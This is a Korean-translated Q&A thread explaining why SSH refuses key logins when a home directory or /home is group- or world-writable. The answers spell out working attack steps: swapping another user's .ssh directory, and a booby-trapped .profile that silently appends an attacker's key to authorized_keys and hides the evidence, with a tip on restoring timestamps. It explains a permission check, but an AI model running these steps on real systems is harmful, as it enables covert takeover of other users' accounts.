그룹의 홈 폴더에 쓰기가 가능한 경우 공개-개인 키를 사용하는 SSH가 보안 위험이 있는 이유는 무엇입니까?

그룹의 홈 폴더에 쓰기가 가능한 경우 공개-개인 키를 사용하는 SSH가 보안 위험이 있는 이유는 무엇입니까?

공개-개인 키를 사용하는 SSH가 두 서버 간에 작동하지 않는 이유를 알아내려고 오랜 시간을 보냈습니다. 그 이유는 내가 연결하려고 하는 서버의 그룹이 사용자의 홈 디렉토리에 쓸 수 있기 때문입니다.

그룹이 사용자 폴더에 쓸 수 있을 때 SSH가 공개 및 개인 키 로그인을 거부하는 경우의 보안 위험은 그룹이 쓸 수 없을 때보다 얼마나 더 큽니까? .ssh 폴더 자체와 그 안에 있는 파일의 예상되는 제한 사항에 대한 이유를 이해합니다. 그런데 홈 디렉토리 자체가 왜 위험한가요? 이 일을 하는 데 위험할 정도로 가까운 조디악 표지판은 무엇입니까?

답변1

홈 디렉터리가 그룹 쓰기 가능한 경우 해당 그룹의 모든 사용자는 .ssh디렉터리 자체를 수정할 수 있습니다. 예를 들면 다음과 같습니다.

mv ~some_user/.ssh /who/cares/where
mkdir ~some_user/.ssh
cp /my/public/key ~some_user/.ssh/authorized_keys

해당 사용자 계정에 액세스할 수 있습니다.

답변2

디렉토리의 다른 상위 디렉토리가 쓰기 가능한 경우 직접 하위 디렉토리를 방해가 되지 않는 곳으로 이동할 수 있습니다. 그러면 최소한 서비스 거부가 발생 /home합니다 ..ssh

ls -ld /home
drwxrwxrwx 9 root root 20480 Sep  4 21:28 /home

mv /home/victim /home/casualty

이제 victimSSH 키를 사용하여 로그인할 수 없습니다. (단, 비밀번호는 여전히 유효합니다.)


ssh"피해자"가 유효한 비밀번호를 가지고 있고 키 오류가 그 중 하나로 간주 될 수 있다고 가정해 보겠습니다 . 특히 (우리는) 이것이 재현 가능한 문제가 되지 않기를 바랍니다. 이 경우 조용한 권한 에스컬레이션을 만들 수 있습니다.

# Save the original directory and contents
mv /home/victim /home/casualty
mkdir -m777 /home/victim

# Create a fake profile to place and then hide the evidence
cat <<'EOF' >/home/victim/.profile

if [ -r /tmp/.id.pub ] && [ -d /home/casualty ]
then
    # Not really very nice
    mkdir -m700 -p /home/casualty/.ssh
    cat /tmp/.id.pub >>/home/casualty/.ssh/authorized_keys
fi

mv /home/victim /home/victim.nomore
mv /home/casualty /home/victim

if [ "$SHELL" = /bin/bash ]
then
    if [ -f /home/victim/.bash_profile ]
    then
        . /home/victim/.bash_profile
    elif [ -f /home/victim/.profile ]
    then
        . /home/victim/.profile
    fi
else
    [ -f /home/victim/.profile ] && . /home/victim/.profile
fi

rm -rf /home/victim.nomore
EOF

마지막으로 자신의 ssh공개 키를 입력 /tmp/.id.pub하고 피해자가 로그인할 때까지 기다립니다. 작업이 완료되면 귀하의 ssh키가 목록에 추가된 것을 확인 authorized_keys하고 해당 키로 로그인할 수 있습니다.

 ssh victim@remoteHost

보너스 포인트를 얻으려면 공격을 확장하여 authorized_keys파일의 원본 날짜 스탬프를 캡처하고 자체 키를 추가한 후 이를 복구할 수 있습니다( stat --format '%Y'및 참고 touch --date).


사용자의 홈 디렉토리 자체가 쓰기 가능한 상황이라면,내가 아는 한ssh키 자체에 대해서만 서비스 거부를 생성합니다.

cd ~victim
mv .ssh .ssh.casualty

ssh키를 더 이상 사용할 수 없도록 그대로 두거나 새 키를 추가해 보세요.

mkdir -m755 .ssh
cat /tmp/.id.pub .ssh.casualty/authorized_keys >.ssh/authorized_keys

두 번째 경우에는 ssh공격이 실패합니다.

Sep  5 15:16:51 pi sshd[16695]: Authentication refused: bad ownership or modes for directory /home/victim

그러나 소유권과 권한은 여전히 ​​확인되므로 .ssh실제로 .ssh/authorized_keys는 나아지지 않습니다.

관련 정보